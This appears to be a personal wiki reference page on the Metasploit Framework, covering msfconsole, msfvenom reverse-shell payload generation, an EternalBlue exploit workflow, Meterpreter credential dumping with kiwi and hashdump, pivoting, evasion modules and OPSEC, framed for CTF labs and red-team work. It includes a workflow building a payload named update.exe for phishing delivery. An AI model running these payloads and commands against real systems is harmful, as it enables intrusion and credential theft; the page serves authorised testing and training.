ᛉ Yggdrasil

Tool references

Metasploit Framework Wiki

17 Sep 2026 · 4,728 words · 21 min

Contents

Author: HD Moore (original), maintained by Rapid7 Repo: https://github.com/rapid7/metasploit-framework Description: Exploitation framework — module library, payload generation, post-exploitation, C2 Current Version: 6.x line, weekly rolling releases via msfupdate/git License: BSD-3-Clause Docs: https://docs.metasploit.com

Overview

Metasploit Framework is the standard open-source exploitation platform: a library of thousands of exploit, auxiliary, and post-exploitation modules wrapped in a consistent Ruby-based interface (msfconsole), backed by a payload-generation engine (msfvenom) and its own extensible in-memory agent (Meterpreter). Where Nmap tells you what's exposed and sqlmap turns a SQLi into data/OS access, Metasploit is generally the tool that turns a known vulnerability into a working session, and then turns that session into further access.

For an operator, Metasploit sits at multiple points in an engagement: exploiting a known CVE against a service, generating a payload for a phishing/delivery chain, managing many simultaneous sessions across a network, or acting as the pivot point for reaching internal-only hosts.

Key capabilities:

  • Thousands of exploit modules across virtually every platform (Windows, Linux, macOS, network devices, IoT, web apps)
  • Meterpreter — an advanced, extensible, in-memory post-exploitation agent with its own command set and API
  • msfvenom for standalone payload generation, independent of the exploit workflow (useful for phishing/delivery scenarios)
  • A built-in PostgreSQL-backed database (msfdb) for tracking hosts, services, credentials, loot, and vulnerabilities across an engagement
  • Session pivoting — route further scans/exploits through a compromised host into otherwise unreachable networks
  • Evasion module type (since Framework 5.0+) for generating payloads with reduced static-signature AV detection
  • A JSON-RPC API (msfrpcd) for programmatic control and integration with other tooling
  • Rolling weekly releases — new modules land in the repo continuously rather than on a fixed version schedule

Note: Metasploit ships genuinely new modules on close to a weekly cadence via Rapid7's "Metasploit Wrap-Up" posts — recent additions have included things like improvements to SMB NTLM relay compatibility for clients that don't handle STATUS_NETWORK_SESSION_EXPIRED the way Windows "net use" does. A framework install more than a few weeks old can be meaningfully behind on both exploit coverage and payload-selection logic, so msfupdate (or git pull on a source install) before an engagement is worth doing every time.

Installation & Updating

# Kali / Parrot — pre-installed, but update before use
sudo apt update && sudo apt install metasploit-framework
msfupdate

# Official installer (Linux/macOS) — nightly builds
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# From source (git) — closest to bleeding edge
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
bundle install

# Initialize the database (required once, sets up PostgreSQL)
msfdb init

# Check DB status
msfdb status

# Start msfconsole
msfconsole

# Quiet start (skip banner, faster)
msfconsole -q
Platform note Detail
Database PostgreSQL required for full functionality (workspaces, hosts, loot, credentials); msfconsole runs without it but with reduced tracking
Kali Pre-installed but frequently trails the latest git master — msfupdate or a source install closes the gap
Ruby Framework is Ruby-based; the official installer bundles its own Ruby environment to avoid system Ruby version conflicts

Architecture

Metasploit separates into a module library, a console/RPC front end, an optional database backend, and the Meterpreter agent that runs on compromised hosts.

┌────────────────────────┐
│  msfconsole / msfrpcd  │  Operator interface — console or JSON-RPC
└───────────┬────────────┘
            ▼
┌─────────────────────────┐
│  Module Library         │  exploit / auxiliary / post / payload /
│  (Ruby modules)         │  encoder / nop / evasion
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│  Framework Core         │  Handles module loading, option validation,
│  (Rex, Msf::Base)       │  session management, sockets, encoding
└───────────┬─────────────┘
            │
            ├──────────────┐
            ▼              ▼
┌──────────────────┐ ┌──────────────────────────┐
│  PostgreSQL DB   │ │  Target Host             │
│  (msfdb)         │ │  ┌────────────────────┐  │
│  hosts/services/ │ │  │  Payload runs      │  │
│  creds/loot/vulns│ │  │  → Meterpreter or  │  │
└──────────────────┘ │  │    shell session   │  │
                     │  └────────┬───────────┘  │
                     └───────────┼──────────────┘
                                 ▼
                     ┌────────────────────────┐
                     │  Session (back to      │
                     │  msfconsole) — further │
                     │  post/pivot/upgrade    │
                     └────────────────────────┘

Meterpreter itself is a client/server protocol running entirely in memory on the target — it never touches disk after initial delivery, communicates over an encrypted TLV (type-length-value) channel back to the handler, and loads additional functionality as extensions (stdapi, priv, incognito, kiwi, etc.) on demand rather than shipping everything up front.

msfconsole Basics

msfconsole                    # start
msfconsole -q                 # quiet (no banner)
msfconsole -x "commands"       # run commands on startup, semicolon-separated
msfconsole -r script.rc        # run a resource script on startup

Inside the console:

help                    # command list
help <command>           # help for a specific command
banner                   # re-show the ASCII banner (harmless fun, sometimes disabled for OPSEC)
version                  # framework version
history                  # command history
exit / quit               # leave
Command Purpose
use <module> Select a module to work with
back Deselect current module
show options Show current module's configurable options
show payloads Show payloads compatible with the current exploit
show targets Show target platform/version definitions for the current exploit
set <OPT> <val> Set an option on the current module
setg <OPT> <val> Set an option globally, persists across module switches
unset <OPT> / unsetg <OPT> Clear an option
info Detailed info on the current module (description, references, authors)
check Test if the target is vulnerable, without exploiting (not all modules support this)
run / exploit Execute the current module
exploit -j Run as a background job (returns console immediately)

Module Types & Naming Convention

Every module has a type and a path that describes platform/category/name, e.g. exploit/windows/smb/ms17_010_eternalblue.

Type Purpose
exploit Delivers a payload by exploiting a specific vulnerability
auxiliary Everything that isn't exploitation — scanners, fuzzers, DoS, protocol clients
post Post-exploitation actions run against an existing session
payload The code delivered by an exploit (shell, Meterpreter, etc)
encoder Encodes payloads to avoid bad characters or basic signature evasion
nop NOP-sled generators for certain exploit techniques
evasion Generates payloads with built-in AV/EDR evasion techniques (Framework 5.0+) 
# Path structure examples
exploit/windows/smb/ms17_010_eternalblue
auxiliary/scanner/smb/smb_version
post/windows/gather/hashdump
payload/windows/x64/meterpreter/reverse_tcp

Searching & Selecting Modules

search eternalblue
search type:exploit platform:windows smb
search cve:2024
search name:apache
search rank:excellent type:exploit
use exploit/windows/smb/ms17_010_eternalblue
use 0                          # after a search, select by index number
Search filter Example
type: type:exploit, type:auxiliary, type:post
platform: platform:windows, platform:linux
cve: cve:2024-1234
name: Free-text match on module name
rank: Filter by reliability rank (see below)

Modules carry a rank reflecting reliability/safety of the exploit technique:

Rank Meaning
excellent Won't crash the service; reliably detects/avoids incompatible targets
great Has default targeting and is reasonably reliable
good Default target, but reliability isn't as strong
normal Requires manual target/version tuning to work reliably
average / low Less reliable or higher risk of instability
manual Not meant to run without specific configuration; may be unstable or a DoS

Tip: check before exploit whenever a module supports it (show info states whether check is implemented). It sends a low-risk verification probe instead of the full exploit chain — meaningfully safer on production or fragile CTF services where a failed exploit attempt could crash the target and cost you the box.

Exploit Workflow

use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 10.10.10.5
set LHOST 10.10.14.5          # your attack box IP (tun0 on HTB-style VPN labs)
show payloads
set PAYLOAD windows/x64/meterpreter/reverse_tcp
show targets
set TARGET 0
check                          # verify vulnerability without exploiting
exploit
Option Meaning
RHOSTS Target(s) — accepts single IP, CIDR, range, or file with file:/path
RPORT Target port
LHOST Your listener IP — the address the payload calls back to
LPORT Your listener port
TARGET Specific target definition (OS/version/architecture variant)
ExitOnSession Whether the exploit handler exits after getting one session (default true)

Tip: RHOSTS accepting file:/path/to/targets.txt is easy to miss but genuinely useful — you can feed the same target list you built from an Nmap sweep straight into a scanner/exploit module without reformatting.

Payloads

Staged vs Stageless

Type Behavior Tradeoff
Staged (e.g. windows/x64/meterpreter/reverse_tcp) Small initial stager delivered first, which then pulls the full payload over the same connection Smaller initial payload, useful where buffer/space is constrained; more network round trips, more opportunities for AV/IDS to catch the stage-2 pull
Stageless (e.g. windows/x64/meterpreter_reverse_tcp, note single slash before final segment) Full payload delivered in one shot Larger initial payload, but no separate stage-2 fetch to get caught — often preferred where payload size isn't constrained

Payload Selection

show payloads                                  # payloads compatible with current exploit
set PAYLOAD windows/x64/meterpreter/reverse_tcp   # staged Meterpreter, reverse TCP
set PAYLOAD windows/x64/meterpreter_reverse_tcp    # stageless equivalent
set PAYLOAD linux/x64/shell_reverse_tcp             # plain reverse shell, no Meterpreter
set PAYLOAD cmd/unix/reverse_bash                    # bash one-liner style payload
set PAYLOAD generic/shell_reverse_tcp                 # platform-agnostic
Prefix pattern Meaning
windows/, linux/, osx/, java/, php/, python/ Target platform
x64/, x86/ Architecture
meterpreter/ Full Meterpreter agent
shell/ Plain command shell, no Meterpreter extensions
reverse_tcp Target connects back to attacker
bind_tcp Attacker connects to target — useful when target is behind NAT relative to attacker, situational

msfvenom

msfvenom generates standalone payloads outside the exploit workflow — the standard tool for building files/binaries/one-liners for delivery via phishing, upload vulnerabilities, or manual placement.

# Windows Meterpreter reverse TCP EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe

# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf

# PHP web shell payload
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php

# List available output formats
msfvenom --list formats

# List available encoders
msfvenom --list encoders

# Apply an encoder (limited modern AV evasion value, still useful for bad-char avoidance)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o shell_enc.exe

# Staged payload as a raw one-liner for e.g. a web shell command
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf-so -o shell.so
Flag Purpose
-p Payload path
-f Output format (exe, elf, raw, php, war, apk, etc — see --list formats)
-e Encoder (bad-char avoidance more than reliable AV evasion nowadays)
-i Encoding iterations
-a Architecture, when it can't be inferred
-x Template executable to inject payload into (for a more legitimate-looking binary)
-o Output file
--list <type> List available payloads/formats/encoders/platforms/archs/nops

Tip: Modern AV/EDR does behavioral and heuristic detection far more than static signature matching, so -e shikata_ga_nai alone does very little against a real endpoint product — it's still worth knowing for CTF boxes with weak/no AV and for bad-character avoidance in exploit dev, but don't rely on encoders as an evasion strategy against anything current. See Evasion Modules for the more modern approach.

Meterpreter

Meterpreter is Metasploit's flagship post-exploitation payload — an in-memory agent with a rich, extensible command set, communicating over an encrypted channel and loading additional functionality (extensions) on demand.

Core Commands

sysinfo                  # target OS/hostname/arch info
getuid                   # current user context
getpid                   # current process ID
ps                        # list processes
background                # background the session, return to msfconsole
sessions -i <id>           # re-interact with a backgrounded session
help                       # full command list for current context

File System & Process

pwd / cd / ls              # navigate remote filesystem
download <file>              # pull a file to your attack box
upload <file> <dest>          # push a file to the target
edit <file>                    # edit a remote file locally then re-upload
cat <file>                      # print remote file contents
search -f *.txt                  # search filesystem
migrate <PID>                     # migrate Meterpreter into another process
execute -f cmd.exe -i -H            # run a process, interact, hidden
ps                                   # find PIDs worth migrating into
kill <PID>                            # kill a process

Privilege Escalation Helpers

getsystem                    # attempt automated SYSTEM-level privesc (Windows, several techniques tried in sequence)
getprivs                      # show current token privileges
use priv                       # load the priv extension
hashdump                        # dump local SAM hashes (needs SYSTEM)
use incognito                    # load incognito extension
list_tokens -u                    # list available tokens
impersonate_token "DOMAIN\\user"    # impersonate a captured token
load kiwi                            # load Mimikatz-in-Meterpreter (successor to the old "mimikatz" extension)
kiwi_cmds                             # list kiwi commands
creds_all                              # dump all available credential types via kiwi

Tip: getsystem tries a fixed sequence of known local Windows privesc techniques (named pipe impersonation, token duplication, etc) and will often just work on older/unpatched CTF boxes, but it is not a substitute for actually understanding why a box is escalatable — on a real engagement or a harder box, getsystem failing silently is a signal to move to manual enumeration (post/windows/gather/enum_* modules, WinPEAS, or the kind of AD/service misconfig hunting you'd do manually) rather than a dead end.

Post-Exploitation Modules

Post modules run against an existing session and cover situational awareness, credential harvesting, persistence, and pivika setup.

# From msfconsole, against a backgrounded session
use post/windows/gather/hashdump
set SESSION 1
run

use post/multi/recon/local_exploit_suggester    # suggests local privesc modules based on target facts
set SESSION 1
run

use post/windows/gather/credentials/credential_collector
set SESSION 1
run

# Or, directly from within an active Meterpreter session
run post/windows/gather/enum_logged_on_users
Common post module Purpose
post/windows/gather/hashdump Dump local SAM hashes
post/windows/gather/credentials/credential_collector Sweep for stored credentials across common locations
post/multi/recon/local_exploit_suggester Compare session facts against known local privesc modules, suggest candidates
post/windows/manage/migrate Scripted process migration
post/multi/gather/env Dump environment variables
post/windows/gather/enum_logged_on_users Enumerate logged-on users/sessions
post/linux/gather/enum_system Broad Linux system enumeration
post/multi/manage/autoroute (via Meterpreter's run autoroute) Add a pivot route through the session

Sessions & Jobs Management

sessions                        # list active sessions
sessions -i 2                    # interact with session 2
sessions -k 2                     # kill session 2
sessions -u 2                      # upgrade a shell session to Meterpreter, where possible
sessions -C "getuid" -i 1,2,3        # run a command across multiple sessions
jobs                                  # list background jobs (handlers, running scanners, etc)
jobs -k <id>                           # kill a job
jobs -K                                 # kill all jobs
Command Purpose
sessions -l List with more detail
sessions -u <id> Attempt to upgrade a plain shell to Meterpreter (shell_to_meterpreter under the hood)
background (inside a session) Return to msfconsole without killing the session
Ctrl+Z Also backgrounds the current session

Pivoting & Port Forwarding

Pivoting routes further Metasploit traffic through an existing compromised session into networks the attack box can't reach directly — essential for internal/segmented environments and multi-hop AD labs.

# From msfconsole, add a route through session 1's internal-network view
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.0.0
set NETMASK 255.255.0.0
run

# Or directly from within Meterpreter
run autoroute -s 172.16.0.0/16
run autoroute -p              # print current routes

# Port forward a single service through the session
portfwd add -l 3389 -p 3389 -r 172.16.0.10     # local:remote forward, e.g. for RDP into an internal host
portfwd list
portfwd delete -l 3389

# SOCKS proxy for routing arbitrary external tools (nmap, sqlmap, etc) through the pivot
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run
# then point proxychains at 127.0.0.1:1080 to run outside tools through the pivot

Tip: autoroute makes internal subnets reachable to Metasploit modules (other exploits, scanners, sessions), but it does not make them reachable to arbitrary external tools like Nmap. For that you need auxiliary/server/socks_proxy plus proxychains (or similar), which lets you run non-Metasploit tooling through the same pivot — a very common combination in multi-hop AD lab environments like yours.

Handlers & Listeners

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set ExitOnSession false          # keep handler alive for multiple incoming connections
exploit -j -z                      # run as background job, don't auto-interact
Option Purpose
ExitOnSession false Keeps the handler running after the first session — essential when expecting multiple callbacks (e.g. a phishing payload sent to several targets)
-j Run exploit as a background job
-z Don't automatically interact with the session once received

Tip: exploit/multi/handler is the standard way to catch a callback from a payload generated separately via msfvenom — the PAYLOAD/LHOST/LPORT set on the handler must match what was baked into the generated payload exactly, or the handler will never see the connection.

Database & Workspace (msfdb)

msfdb init                     # first-time database setup
db_status                       # check connection from within msfconsole

workspace                        # list workspaces
workspace -a engagement1           # add a new workspace
workspace engagement1                # switch to it

hosts                                 # list known hosts in current workspace
services                               # list known services
vulns                                   # list discovered vulnerabilities
creds                                    # list captured credentials
loot                                      # list collected loot (dumped files, hashes, etc)

db_import scan.xml                         # import an Nmap XML scan into the DB
db_nmap -sV -p- 10.10.10.5                   # run Nmap directly from msfconsole, auto-imports results
Command Purpose
workspace -a <name> Create a new workspace — keeps engagements/boxes cleanly separated
db_import <file> Import Nmap XML, Nessus, and other scanner output formats
db_nmap Run Nmap and automatically populate hosts/services — convenient for keeping the DB in sync without a manual import step
hosts -R Set all known hosts as RHOSTS for the next module in one step

Tip: db_nmap followed by hosts -R is a fast way to chain an Nmap sweep straight into a Metasploit scanner/exploit module against every discovered host, without manually copying IPs — genuinely useful on subnet-wide CTF ranges or internal engagements with many hosts.

Auxiliary & Scanner Modules

Auxiliary modules cover everything that isn't direct exploitation — scanning, enumeration, brute-forcing, protocol interaction, and DoS testing.

use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.0/24
run

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.10.10.5
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

use auxiliary/scanner/http/http_version
set RHOSTS 10.10.10.0/24
run

use auxiliary/scanner/smb/smb_ms17_010     # check for EternalBlue vulnerability without exploiting
set RHOSTS 10.10.10.0/24
run
Common auxiliary module Purpose
auxiliary/scanner/smb/smb_version Fingerprint SMB version across a range
auxiliary/scanner/smb/smb_ms17_010 Check EternalBlue vulnerability without exploiting
auxiliary/scanner/portscan/tcp Basic TCP port scanner (rarely better than Nmap, but useful if only Metasploit is available, e.g. through a pivot)
auxiliary/scanner/ssh/ssh_login SSH credential brute force
auxiliary/scanner/mysql/mysql_login MySQL credential brute force
auxiliary/scanner/ldap/ldap_login LDAP/AD credential validation
auxiliary/gather/* Various information-gathering auxiliary modules
auxiliary/server/socks_proxy SOCKS proxy server for pivoting (see above)

Evasion Modules & AV/EDR Considerations

Since Framework 5.0, Metasploit has a dedicated evasion module type — separate from relying on encoders — aimed at reducing static-signature detection without needing external tooling.

search type:evasion
use evasion/windows/windows_defender_exe
show options
set LHOST 10.10.14.5
set LPORT 4444
run
Consideration Detail
Encoders (-e in msfvenom) Mostly address bad-character constraints in exploit dev; minimal real AV evasion value against modern products
Evasion modules Generate payloads with built-in evasion logic, actively maintained against current AV baselines
Behavioral/EDR detection Neither encoders nor evasion modules meaningfully defeat behavioral/EDR detection (process injection patterns, known Meterpreter network behavior, etc) — that requires broader tradecraft (custom loaders, process injection technique changes, C2 profile shaping) well beyond what Framework ships out of the box

Tip: For CTF/HTB-style boxes, default msfvenom output usually works fine since most boxes run no AV or only Windows Defender with default settings. For anything resembling a real EDR-monitored environment, treat stock Metasploit payloads as detected by default and plan around custom loaders or a dedicated C2 framework instead — Metasploit's evasion modules help but aren't a complete answer.

Resource Scripts & Automation

Resource scripts (.rc files) automate a sequence of msfconsole commands — useful for repeatable setup, especially handlers.

# handler.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set ExitOnSession false
exploit -j -z

msfconsole -r handler.rc              # run at startup

# from within msfconsole
resource handler.rc                     # run an .rc file mid-session
makerc mysession.rc                        # save current session's command history as a resource script

Meterpreter sessions can also run resource scripts against the session itself:

sessions -i 1 -c "run post/windows/gather/hashdump"   # run a single command non-interactively

RPC API

msfrpcd exposes Metasploit's functionality over JSON-RPC (or MessagePack-RPC in older docs) for programmatic control — useful for integrating Metasploit into custom automation or larger toolchains rather than driving it manually.

# Start the RPC daemon
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

# Interact via the msfrpc-client gem, or any HTTP client speaking the JSON-RPC schema

Note: Bind msfrpcd to localhost or a trusted interface only, and always set a real password with -P — an exposed, unauthenticated RPC endpoint is a direct path to remote code execution on whatever host it's running on.

Armitage / Metasploit Pro Note

Armitage (the older Java-based GUI front end for Metasploit) has been unmaintained for years and generally shouldn't be relied on for current work — most operators today interact via msfconsole directly or through Rapid7's commercial Metasploit Pro UI. This wiki covers the open-source Framework and msfconsole, which is what you'll actually encounter in CTF and most red team tooling.

OPSEC Notes (Detection & Logging)

  • Default Meterpreter network behavior (staged TCP handshake pattern, TLV protocol structure) is well-signatured by mature network IDS/IPS and EDR products — stock windows/x64/meterpreter/reverse_tcp with no modification is not stealthy against anything beyond default Windows Defender on an unmonitored box.
  • getsystem and hashdump touch LSASS-adjacent and SAM-related APIs that are heavily monitored by EDR — expect detection on any monitored endpoint even where initial payload delivery succeeded undetected.
  • db_nmap runs Nmap with Metasploit's own default arguments, which may differ from what you'd choose manually — check show options/history if a db_nmap scan behaves unexpectedly quiet or loud compared to running Nmap directly.
  • Encoders provide no meaningful evasion against modern AV/EDR (see Evasion Modules) — don't treat -e shikata_ga_nai as an evasion technique on any monitored target.
  • exploit -j backgrounding a job doesn't reduce the network/host footprint of what's running — it only changes console UX, not detectability.
  • Handlers left running (ExitOnSession false) will accept connections from anyone who reaches that IP:port with a matching payload — on a shared range or CTF network, be mindful of what you're exposing.

Note: In CTF/lab environments, stock payloads and default Meterpreter are standard practice since detection isn't part of the challenge. On a real red team engagement, assume stock Metasploit payloads are signature- and behaviorally-detected by any EDR worth its license, and plan payload delivery/C2 strategy accordingly — this is exactly the kind of scenario where a dedicated C2 framework with better OPSEC properties (matching the Sliver/Empire wikis you've already built) is the more appropriate tool.

Common Attack Workflows

Workflow: CTF Box — Known CVE to Shell

# 1. Confirm the vulnerability from Nmap version detection first (outside Metasploit)
# nmap -sV -p445 10.10.10.5 already showed an old SMB version

# 2. Find and select the matching exploit
msfconsole -q
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue

# 3. Configure and verify before firing
set RHOSTS 10.10.10.5
set LHOST 10.10.14.5
check

# 4. Exploit
exploit

# 5. Once in Meterpreter, basic situational awareness
sysinfo
getuid

Workflow: Standalone Payload Delivery (Non-Metasploit Exploit Chain)

# 1. Generate a payload for delivery via some other vector (upload vuln, phishing, etc)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o update.exe

# 2. Set up a handler to catch the callback
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; set ExitOnSession false; exploit -j -z"

# 3. Deliver update.exe via whatever vector is in scope, wait for callback
sessions -l
sessions -i 1

Workflow: Pivoting Into an Internal Subnet from a Foothold

# 1. From an established session, add a route to the internal subnet
sessions -i 1
run autoroute -s 172.16.0.0/16
background

# 2. Start a SOCKS proxy for external tooling
use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j

# 3. Point proxychains at it and run outside tools through the pivot
# proxychains nmap -sT -Pn 172.16.0.0/24
# proxychains sqlmap -u "http://172.16.0.10/item.php?id=1"

# 4. Or use Metasploit's own scanners directly, which respect the added route natively
use auxiliary/scanner/smb/smb_version
set RHOSTS 172.16.0.0/24
run

Workflow: Post-Exploitation Credential Harvest (Windows)

# 1. From an elevated Meterpreter session
getsystem
getuid

# 2. Load kiwi (Mimikatz) and dump everything available
load kiwi
creds_all

# 3. Fall back to classic hashdump if kiwi is blocked/unavailable
hashdump

# 4. Check for further local privesc opportunities
run post/multi/recon/local_exploit_suggester

Cheatsheet

Quick-reference for the most common operator tasks. Replace hosts/ports/payloads as needed.

Console Basics

msfconsole -q
search <term>
use <module>
show options / show payloads / show targets
set <OPT> <value>
check
exploit / run
back

Exploit + Handler

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker-ip>
set LPORT 4444
set ExitOnSession false
exploit -j -z

msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o shell.exe
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf -o shell.elf
msfvenom --list formats
msfvenom --list payloads

Sessions

sessions -l
sessions -i <id>
sessions -u <id>       # upgrade shell to meterpreter
background
jobs / jobs -K

Meterpreter Essentials

sysinfo / getuid / ps
getsystem / getprivs
load kiwi / creds_all
hashdump
migrate <PID>
download / upload

Pivoting

run autoroute -s <subnet>/<mask>
portfwd add -l <local> -p <remote-port> -r <remote-host>
use auxiliary/server/socks_proxy; set SRVPORT 1080; run -j

Database

msfdb init
workspace -a <name>
db_nmap -sV -p- <target>
hosts / services / vulns / creds / loot
hosts -R

Post-Exploitation

use post/multi/recon/local_exploit_suggester
use post/windows/gather/hashdump
use post/windows/gather/credentials/credential_collector
run post/<module-path>       # from inside an active session

Resource Scripts

msfconsole -r script.rc
resource script.rc
makerc saved.rc

References

  • Official docs: https://docs.metasploit.com
  • GitHub repo: https://github.com/rapid7/metasploit-framework
  • Weekly "Metasploit Wrap-Up" release notes: https://www.rapid7.com/blog/tag/metasploit-wrap-up/
  • Module reference: https://docs.metasploit.com/docs/using-metasploit/intermediate/reference.html
  • Unofficial community cheatsheet (SANS-style): https://www.offsec.com/metasploit-unleashed/

← Tool references top ↑